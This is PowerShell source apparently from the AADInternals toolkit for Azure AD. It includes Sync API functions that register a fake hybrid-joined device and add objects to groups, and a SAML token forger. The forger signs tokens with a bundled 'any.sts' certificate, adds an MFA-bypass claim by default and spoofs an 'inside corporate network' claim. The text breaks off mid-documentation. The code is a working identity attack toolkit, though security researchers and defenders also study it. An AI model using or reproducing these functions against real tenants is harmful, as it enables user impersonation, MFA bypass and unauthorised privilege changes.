$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Get-MonitoringTenantCertificate -AccessToken $AccessToken -Recursion ($Recursion+1)
}
else
{
# Create a return object
$res=$xml_doc.Envelope.Body.GetMonitoringTenantCertificateResponse.GetMonitoringTenantCertificateResult
return $res
}
}
}
# Gets the windows credentials sync configuration - if the Azure Domain Services is used
# May 11th 2020
function Get-WindowsCredentialsSyncConfig
{
<#
.SYNOPSIS
Gets tenant's Windows credentials synchronization config
.DESCRIPTION
Gets tenant's Windows credentials synchronization config using Azure AD Sync API
.Parameter AccessToken
Access Token
.Example
Get-AADIntWindowsCredentialsSyncConfig
EnableWindowsLegacyCredentials EnableWindowsSupplementaCredentials SecretEncryptionCertificate
------------------------------ ----------------------------------- ---------------------------
True False MIIDJTCCAg2gAwIBAgIQFwRSInW7I...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[int]$Recursion=1
)
Process
{
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body block
$body=@"
<GetWindowsCredentialsSyncConfig xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">
</GetWindowsCredentialsSyncConfig>
"@
$Message_id=(New-Guid).ToString()
$Command="GetWindowsCredentialsSyncConfig"
$serverName=$Script:aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Get-WindowsCredentialsSyncConfig -AccessToken $AccessToken -Recursion ($Recursion+1)
}
else
{
# Create a return object
$res=$xml_doc.Envelope.Body.GetWindowsCredentialsSyncConfigResponse.GetWindowsCredentialsSyncConfigResult
$attributes=[ordered]@{
"EnableWindowsLegacyCredentials" = $res.EnableWindowsLegacyCredentials -eq "true"
"EnableWindowsSupplementaCredentials" = $res.EnableWindowsSupplementaCredentials -eq "true"
"SecretEncryptionCertificate" = $res.SecretEncryptionCertificate
}
try
{
# Parse the certificate information
$binCert = Convert-B64ToByteArray -B64 $attributes["SecretEncryptionCertificate"]
$certificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$binCert)
$attributes["Certificate"] = $certificate
}
catch
{}
return New-Object psobject -Property $attributes
}
}
}
# Gets tenant's sync device configuration
# May 11th 2020
function Get-SyncDeviceConfiguration
{
<#
.SYNOPSIS
Gets tenant's synchronization device configuration
.DESCRIPTION
Gets tenant's synchronization device configuration using Azure AD Sync API
.Parameter AccessToken
Access Token
.Example
Get-AADIntSyncDeviceConfiguration
PublicIssuerCertificates CloudPublicIssuerCertificates
------------------------ -----------------------------
{$null} {MIIDejCCAmKgAwIBAgIQzsvx7rE77rJM...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[int]$Recursion=1
)
Process
{
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body block
$body=@"
<GetDeviceConfiguration xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">
</GetDeviceConfiguration>
"@
$Message_id=(New-Guid).ToString()
$Command="GetDeviceConfiguration"
$serverName=$Script:aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Get-DeviceConfiguration -AccessToken $AccessToken -Recursion ($Recursion+1)
}
else
{
# Create a return object
$res=$xml_doc.Envelope.Body.GetDeviceConfigurationResponse.GetDeviceConfigurationResult
$resCloudCerts = $res.CloudPublicIssuerCertificates
$resCerts = $res.PublicIssuerCertificates
$cloudCerts = @()
$certs = @()
foreach($cert in $resCloudCerts)
{
$cloudCerts += $cert.base64Binary
}
foreach($cert in $resCerts)
{
$certs += $cert.base64Binary
}
return New-Object psobject -Property @{"CloudPublicIssuerCertificates" = $cloudCerts; "PublicIssuerCertificates" = $certs}
}
}
}
# Get sync capabilities
# May 12th 2020
function Get-SyncCapabilities
{
<#
.SYNOPSIS
Gets tenant's synchronization capabilities
.DESCRIPTION
Gets tenant's synchronization capabilities using Azure AD Sync API
.Parameter AccessToken
Access Token
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[int]$Recursion=1
)
Process
{
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body block
$body=@"
<Capabilities xmlns="http://schemas.microsoft.com/online/aws/change/2010/01" />
"@
$Message_id=(New-Guid).ToString()
$Command="Capabilities"
$serverName=$Script:aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Get-SyncObjects2 -AccessToken $AccessToken -Recursion ($Recursion+1)
}
else
{
# Create a return object
$res=[xml]$xml_doc.Envelope.Body.CapabilitiesResponse.CapabilitiesResult
$cap=$res.ServiceCapability.MicrosoftOnline.Protocol.Application
$blacklist = @()
foreach($client in $cap.BlackList)
{
$blacklist += $client.ClientVersion
}
return @{
"ADSyncLatestVersion" = $cap.LatestProductVersion
"ADSyncMinimumVersion" = $cap.MinimumProductVersion
"ADSyncBlackList" = $blacklist
"ADSyncBlackListEnabled" = $cap.BlackList.Enabled
}
}
}
}
# Joins on-prem device to Azure AD
# Jan 15th 2021
function Join-OnPremDeviceToAzureAD
{
<#
.SYNOPSIS
Emulates Azure AD Hybrid Join by adding a device to Azure AD via Synchronization API.
.DESCRIPTION
Emulates Azure AD Hybrid Join by adding a device to Azure AD via Synchronization API and generates a corresponding certificate (if not provided).
You may use any name, SID, device ID, or certificate you like.
The generated certificate can be used to complete the Hybrid Join using Join-AADIntDeviceToAzureAD. The certificate has no password.
After the synchronisation, the device appears as "Hybrid Azure AD joined" device which registration state is "Pending". The subject of the certificate must be "CN=<DeviceId>" or the Hybrid Join fails.
.Parameter AccessToken
The access token used to synchronise the device. Must have "Global Admin" or "Directory Synchronization Accounts" role!
If not given, will be prompted.
.Parameter DeviceName
The name of the device.
.Parameter SID
The SID of the device. Must be a valid SID, like "S-1-5-21-1436731841-1414151352-1310210645-8640". If not given, a random SID will be used.
.Parameter Certificate
A certificate of the device. If not given, a new self-signed certificate will be created and exported to the current folder.
.Parameter DeviceId
The device id of the device. If not given, a random id will be used.
.EXAMPLE
Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C\:>Join-AADIntOnPremDeviceToAzureAD -DeviceName "My computer"
Device successfully created:
Device Name: "My computer"
Device ID: f24f116f-6e80-425d-8236-09803da7dfbe
Device SID: S-1-5-21-685966194-1071688910-211446493-3729
Cloud Anchor: Device_e049c29d-8c8f-4016-b959-98f3fccd668c
Source Anchor: bxFP8oBuXUKCNgmAPaffvg==
Cert thumbprint: C59B20BCDE103F8B7911592FD7A8DDDD22696CE0
Cert file name: "f24f116f-6e80-425d-8236-09803da7dfbe-user.pfx"
.EXAMPLE
Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C\:>Join-AADIntOnPremDeviceToAzureAD -DeviceName "My computer"
Device successfully created:
Device Name: "My computer"
Device ID: f24f116f-6e80-425d-8236-09803da7dfbe
Device SID: S-1-5-21-685966194-1071688910-211446493-3729
Cloud Anchor: Device_e049c29d-8c8f-4016-b959-98f3fccd668c
Source Anchor: bxFP8oBuXUKCNgmAPaffvg==
Cert thumbprint: C59B20BCDE103F8B7911592FD7A8DDDD22696CE0
Cert file name: "f24f116f-6e80-425d-8236-09803da7dfbe-user.pfx"
PS C\:>Join-AADIntDeviceToAzureAD -TenantId 4362599e-fd46-44a9-997d-53bc7a3b2947 -DeviceName "My computer" -SID "S-1-5-21-685966194-1071688910-211446493-3729" -PfxFileName .\f24f116f-6e80-425d-8236-09803da7dfbe-user.pfx
Device successfully registered to Azure AD:
DisplayName: "My computer"
DeviceId: f24f116f-6e80-425d-8236-09803da7dfbe
Cert thumbprint: A531B73CFBAB2BA26694BA2AD31113211CC2174A
Cert file name : "f24f116f-6e80-425d-8236-09803da7dfbe.pfx"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DeviceName,
[Parameter(Mandatory=$False)]
[String]$SID,
[Parameter(Mandatory=$False)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(Mandatory=$False)]
[GUID]$DeviceId
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create a random machine SID if not provided
if([string]::IsNullOrEmpty($SID))
{
Write-Verbose "No SID given, creating a random"
$SID = New-RandomSID
}
$sidObject = [System.Security.Principal.SecurityIdentifier]$SID
$bSid = New-Object Byte[] $sidObject.BinaryLength
$sidObject.GetBinaryForm($bSid,0)
$b64SID = Convert-ByteArrayToB64 -Bytes $bSid
# Create a random device ID if not provided
if(!$DeviceId)
{
Write-Verbose "No DeviceId given, creating a random"
$DeviceId = New-Guid
}
$b64DeviceId = Convert-ByteArrayToB64 -Bytes $DeviceId.ToByteArray()
# Create a self-signed "user" certificate if not provided
if(!$Certificate)
{
Write-Verbose "No Certificate given, creating a new self-signed certificate"
$Certificate = New-Certificate -SubjectName "CN=$($DeviceId.ToString())"
Set-BinaryContent -Path "$($DeviceId.ToString())-user.pfx" -Value $Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx)
$certExported = $true
}
if($Certificate.Subject -ne "CN=$DeviceId")
{
Write-Warning "The certificate subject ""$($Certificate.Subject)"" does NOT match Device ID ""CN=$DeviceId"""
Write-Warning "You are NOT able to make hybrid join if the certificate doesn't match!"
}
# Get the public key
$userCert = Convert-ByteArrayToB64 -Bytes ($Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert))
$response = Set-AzureADObject -AccessToken $AccessToken -accountEnabled $true -SourceAnchor $b64DeviceId -deviceId $b64DeviceId -displayName $DeviceName -onPremiseSecurityIdentifier $b64SID -ObjectType Device -deviceOSType Windows -deviceTrustType ServerAd -userCertificate $userCert -Operation Add
if($response.ResultCode -eq "Success")
{
# Print out information
Write-Host "Device successfully created:"
Write-Host " Device Name: ""$DeviceName"""
Write-Host " Device ID: $($DeviceId.ToString())"
Write-Host " Device SID: $SID"
Write-Host " Cloud Anchor: $($response.CloudAnchor)"
Write-Host " Source Anchor: $($response.SourceAnchor)"
Write-Host " Cert thumbprint: $($Certificate.Thumbprint)"
if($certExported)
{
Write-host " Cert file name: ""$($DeviceId.ToString())-user.pfx"""
}
}
else
{
$response
}
}
}
# Add member to Azure AD group using provisioning API
# Dec 14th 2022
function Set-AzureADGroupMember
{
<#
.SYNOPSIS
Adds or removes an Azure AD object from the given group using Azure AD Sync API.
.DESCRIPTION
Adds or removes an Azure AD object from the given group using Azure AD Sync API.
.Parameter AccessToken
Access Token
.Parameter SourceAnchor
The source anchor for the Azure AD object. Typically Base 64 encoded GUID of on-prem AD object.
.Parameter CloudAnchor
The cloud anchor for the Azure AD object in the form "<type>_<objectid>". For example "User_a98368aa-f0cb-41b5-a7c6-10f18c6c837d"
.Parameter GroupSourceAnchor
The source anchor of the target Azure AD group. Typically Base 64 encoded GUID.
.Parameter GroupCloudAnchor
The cloud anchor of the target Azure AD group in the form "Group_<objectid>".
.Parameter Operation
Group modification operation: Add or Remove
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$CloudAnchor,
[Parameter(Mandatory=$False)]
[String]$SourceAnchor,
[Parameter(Mandatory=$False)]
[String]$GroupSourceAnchor,
[Parameter(Mandatory=$False)]
[String]$GroupCloudAnchor,
[Parameter(Mandatory=$True)]
[ValidateSet('Add','Remove')]
[String]$Operation,
[Parameter(Mandatory=$False)]
[int]$Recursion=1
)
Process
{
# Check that we have values
if(-not $CloudAnchor -and -not $SourceAnchor)
{
Throw "Either CloudAnchor or SourceAnchor is required"
}
if($CloudAnchor -and $SourceAnchor)
{
Throw "Provide CloudAnchor or SourceAnchor, not both"
}
if(-not $GroupCloudAnchor -and -not $GroupSourceAnchor)
{
Throw "Either GroupCloudAnchor or GroupSourceAnchor is required"
}
if($GroupCloudAnchor -and $GroupSourceAnchor)
{
Throw "Provide GroupCloudAnchor or GroupSourceAnchor, not both"
}
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
if($SourceAnchor)
{
$anchorType = 2
$anchorValue = $SourceAnchor
}
else
{
$anchorType = 1
$anchorValue = $CloudAnchor
}
if($GroupSourceAnchor)
{
$groupAnchorType = "SourceAnchor"
$groupAnchorValue = $GroupSourceAnchor
}
else
{
$groupAnchorType = "CloudAnchor"
$groupAnchorValue = $GroupCloudAnchor
}
# Set the operation value
if($Operation -eq "Add")
{
$operationValue = 1
}
else
{
$operationValue = 2
}
# Create the body block
$body=@"
<ProvisionAzureADSyncObjects2 xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">
<syncRequest xmlns:b="http://schemas.microsoft.com/online/aws/change/2014/06" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<b:SyncObjects>
<b:AzureADSyncObject>
<b:PropertyValues xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<c:KeyValueOfstringanyType>
<c:Key>$groupAnchorType</c:Key>
<c:Value i:type="d:string" xmlns:d="http://www.w3.org/2001/XMLSchema">$groupAnchorValue</c:Value>
</c:KeyValueOfstringanyType>
<c:KeyValueOfstringanyType>
<c:Key>member</c:Key>
<c:Value i:type="SyncReferenceChangeCollection">
<referenceChanges>
<SyncReferenceChange>
<Reference>
<Anchor>$anchorValue</Anchor>
<referenceTypeInt>$anchorType</referenceTypeInt>
</Reference>
<operationInt>$operationValue</operationInt>
</SyncReferenceChange>
</referenceChanges>
</c:Value>
</c:KeyValueOfstringanyType>
</b:PropertyValues>
<b:SyncObjectType>Group</b:SyncObjectType>
<b:SyncOperation>Set</b:SyncOperation>
</b:AzureADSyncObject>
</b:SyncObjects>
</syncRequest>
</ProvisionAzureADSyncObjects2>
"@
$Message_id=(New-Guid).ToString()
$Command="ProvisionAzureADSyncObjects2"
$serverName=$aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Set-AzureADObject -AccessToken $AccessToken -Recursion ($Recursion+1) -sourceAnchor $sourceAnchor -ObjectType $ObjectType -userPrincipalName $userPrincipalName -surname $surname -onPremisesSamAccountName $onPremisesSamAccountName -onPremisesDistinguishedName $onPremisesDistinguishedName -onPremiseSecurityIdentifier $onPremisesDistinguishedName -netBiosName $netBiosName -lastPasswordChangeTimestamp $lastPasswordChangeTimestamp -givenName $givenName -dnsDomainName $dnsDomainName -displayName $displayName -countryCode $countryCode -commonName $commonName -accountEnabled $accountEnabled -cloudMastered $cloudMastered -usageLocation $usageLocation -CloudAnchor $CloudAnchor
}
# Check whether this is an error message
if($xml_doc.Envelope.Body.Fault)
{
Throw $xml_doc.Envelope.Body.Fault.Reason.Text.'#text'
}
# Return
$xml_doc.Envelope.Body.ProvisionAzureADSyncObjects2Response.ProvisionAzureADSyncObjects2Result.SyncObjectResults.AzureADSyncObjectResult
}
} |
FederatedIdentityTools.ps1 | AADInternals-0.9.4 | # any.sts public key
$any_sts="MIIDcTCCAligAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJmaTESMBAGA1UECAwJUGlya2FubWFhMREwDwYDVQQKDAhHZXJlbmlvczEcMBoGA1UEAwwTaGFjay5vMzY1ZG9tYWluLm9yZzAeFw0xODAyMjExMzEyNDVaFw0yODAyMTkxMzEyNDVaMFIxCzAJBgNVBAYTAmZpMRIwEAYDVQQIDAlQaXJrYW5tYWExETAPBgNVBAoMCEdlcmVuaW9zMRwwGgYDVQQDDBNoYWNrLm8zNjVkb21haW4ub3JnMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQIApH73Hcv30uHHve6Zd3E/aEeFgQRMZD/CJUQC2DfSk0mDX8X75MIo7gP+62ZTUsOxhSDdOOVYshK8Kyk9VZvo21A5hDcCudXxc/eifCdwGLalCaOQt8pdMlYJgsBDcieMNToCx2pXp1PvkJdKc2JiXQCIAolJySbNXGJbBG1Oh4tty7lEXUqHpHgqiIJCb64q64BIQpZr/WQG0QgtH/gwWYz7b/psNA4xVi8RJnRUl7I62+j0WVSTih2j3kK20j5OIW9Rk+5XoHJ5npOBM84pYJ6yxMz1sOdSqOccAjSVHWFKdM437PxAPeiXAXoBKczGZ72Q8ocz2YSLGKcSMnYCrhECAwEAAaNQME4wHQYDVR0OBBYEFNu32o5XSIQ0lvwB+d2cnTlrtk2PMB8GA1UdIwQYMBaAFNu32o5XSIQ0lvwB+d2cnTlrtk2PMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQENBQADggECAHokwTra0dlyG5jj08TiHlx1pJFnqlejjpFXaItuk2jEBfO/fv1AJaETSR5vupFfDHA337oPiqWugxai1TIvJGKhZImNloMj8lyeZk/9/5Pt2X4N8r1JpAQzt+Ez3z7aNrAFxRjJ0Y+rDDcSItZ5vaXJ5PqBvR7icjIBaXrHVFUC6OZ2RkebbpajbIdt6U/P7ovg7L1J6LAzL/asATZzM3Mjn+9rsC9xLbJwuEabLU+BxySsNo8TULYi9O2MSJ9FvddE6n3OPqrmldldCrb6OugK/pzCwjTnVgRtrHNJc+zKavbiu0Yfp8uYhvCCWAakdQ8g6ZNJ1TGSaYNIrpTIhXIJ"
# Creates a SAML token
# Updated Feb 19th to support device registration. Changed signature and digest to SHA256
function New-SAMLToken
{
<#
.SYNOPSIS
Creates a SAML token
.DESCRIPTION
Creates a valid SAML token for given user
.Parameter UPN
User Principal Name (UPN) of the user or device. For the user, this is not used by AAD Identity Federation so can be any email address.
For the device, this is the display name of the device.
.Parameter ImmutableID
Immutable ID of the user or device. For synced users, this is user's AD object GUID encoded in B64.
For non-synced users this must be set manually, can be any unique string within the tenant.
User doesn't have to federated user.
For device, this is automatically derived from the Device GUID parameter
.Parameter Issuer
Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any
unique string within Azure AD. Must match federation information of validated domain in the tenant.
.Parameter ByPassMFA
Whether to add an attribute to by-pass MFA. Default is $True.
.Parameter DeviceGUID
The GUID of the device.
.Parameter SID
The SID of the device. If not given, a random SID is created.
.Parameter Certificate
A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant.
.Parameter PfxFileName
The full path to .pfx file from where to load the certificate
.Parameter PfxPassword
The password of the .pfx file
.Example
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
.Example
PS C:\>$cert = Load-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
.Example
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
.Example
PS C:\>$saml = New-AADIntSAMLToken -UPN "My PC" -DeviceGUID (New-Guid) -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$True)]
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$True)]
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$True)]
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$False)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='Certificate',Mandatory=$False)]
[String]$UPN="[email protected]", # Not used in AAD identity federation for users, defaults to Santa Claus ;)
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$False)]
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$False)]
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='Certificate',Mandatory=$False)]
[String]$ImmutableID,
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$False)]
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$False)]
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='Certificate',Mandatory=$False)]
[String]$Issuer,
[Parameter(Mandatory=$False)]
[bool]$ByPassMFA=$true,
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$True)]
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$True)]
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$True)]
[GUID]$DeviceGUID,
[Parameter(Mandatory=$False)]
[string]$SID,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter,
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$True)]
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[switch]$UseBuiltInCertificate,
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$True)]
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$True)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[string]$PfxPassword
)
Begin
{
# Import the assemblies
Add-Type -AssemblyName 'System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
}
Process
{
# If we got device guid, this is a device so use Device GUID as immutable id and create a new SID if needed
if($isDevice = $DeviceGUID -ne $null)
{
$ImmutableID = Convert-ByteArrayToB64 -Bytes $DeviceGUID.ToByteArray()
if([string]::IsNullOrEmpty($SID))
{
$SID = New-RandomSID
}
}
# Do we use built-in certificate (any.sts)
if($UseBuiltInCertificate)
{
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
}
elseif($Certificate -eq $null) # Load the certificate
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
$Issuer = Get-ADFSIssuer -Certificate $Certificate -Issuer $Issuer
}
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Create a new SAML assertion
$assertion = New-Object System.IdentityModel.Tokens.SamlAssertion
# Set id, time, and issuer
$assertion.AssertionId = "_$((New-Guid).ToString())"
$assertion.IssueInstant = $NotBefore.ToUniversalTime()
$assertion.Issuer = $Issuer
# Create audience and SAML conditions objects
$audienceCondition = New-Object System.IdentityModel.Tokens.SamlAudienceRestrictionCondition -ArgumentList @(,[System.Uri[]]@(New-Object System.Uri("urn:federation:MicrosoftOnline")))
$SAMLConditionList = @($audienceCondition)
$SAMLConditions = New-Object System.IdentityModel.Tokens.SamlConditions($NotBefore, $NotAfter, [System.IdentityModel.Tokens.SamlAudienceRestrictionCondition[]]$SAMLConditionList)
$assertion.Conditions=$SAMLConditions
# Create subject and attribute statements
$subject = New-Object System.IdentityModel.Tokens.SamlSubject
$subject.ConfirmationMethods.Add("urn:oasis:names:tc:SAML:1.0:cm:bearer")
$statement = New-Object System.IdentityModel.Tokens.SamlAttributeStatement
# Note! Azure AD identity federation doesn't care about UPN at all, it can be anything.
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.xmlsoap.org/claims","UPN",[string[]]@($UPN))))
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/LiveID/Federation/2008/05","ImmutableID",[string[]]@($ImmutableID))))
if($ByPassMFA -and !$IsDevice)
{
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/claims","authnmethodsreferences",[string[]]@("http://schemas.microsoft.com/claims/multipleauthn"))))
}
# Default authentication method
$authenticationMethod = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
# Set the device specific attributes and methods
if($IsDevice)
{
$subject.Name = $ImmutableID
$subject.NameFormat = "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/ws/2012/01","accounttype",[string[]]@("DJ"))))
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/identity/claims","onpremobjectguid",[string[]]@($ImmutableID))))
$authenticationMethod = "urn:federation:authentication:windows"
}
if(![string]::IsNullOrEmpty($SID))
{
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/ws/2008/06/identity/claims","primarysid",[string[]]@($SID))))
}
# Inside company network claim
[System.IdentityModel.Tokens.SamlAttribute]$attribute = New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/ws/2012/01","insidecorporatenetwork",[string[]]@("true"))
$attribute.OriginalIssuer = "CLIENT CONTEXT"
$statement.Attributes.Add($attribute)
$statement.SamlSubject = $subject
$assertion.Statements.Add($statement)
# Create authentication statement
$assertion.Statements.Add((New-Object System.IdentityModel.Tokens.SamlAuthenticationStatement($subject,$authenticationMethod, $NotBefore, $null, $null, $null)))
# Sign the assertion
$ski = New-Object System.IdentityModel.Tokens.SecurityKeyIdentifier((New-Object System.IdentityModel.Tokens.X509RawDataKeyIdentifierClause($Certificate)))
$assertion.SigningCredentials = New-Object System.IdentityModel.Tokens.SigningCredentials((New-Object System.IdentityModel.Tokens.X509AsymmetricSecurityKey($Certificate)), [System.IdentityModel.Tokens.SecurityAlgorithms]::RsaSha256Signature, [System.IdentityModel.Tokens.SecurityAlgorithms]::Sha256Digest, $ski )
# Create a SAML token
$token = New-Object System.IdentityModel.Tokens.SamlSecurityToken($assertion)
# Convert to XML
$handler = New-Object System.IdentityModel.Tokens.SamlSecurityTokenHandler
$writer = New-Object System.IO.StringWriter
$handler.WriteToken((New-Object System.Xml.XmlTextWriter($writer)), $token)
$strToken=$writer.ToString()
return $strToken
}
}
# Creates a SAML token
# Updated Feb 19th: Changed signature and digest to SHA 256
function New-SAML2Token
{
<#
.SYNOPSIS
Creates a SAML token
.DESCRIPTION
Creates a valid SAML token for given user
.Parameter UPN
User Principal Name (UPN) of the user. Not used by AAD Identity Federation so can be any email address.
.Parameter ImmutableID
Immutable ID of the user. For synced users, this is user's AD object GUID encoded in B64.
For non-synced users this must be set manually, can be any unique string within the tenant.
User doesn't have to federated user.
.Parameter Issuer
Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any
unique string within Azure AD. Must match federation information of validated domain in the tenant.
.Parameter Certificate
A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant.
.Parameter PfxFileName
The full path to .pfx file from where to load the certificate
.Parameter PfxPassword
The password of the .pfx file
.Example
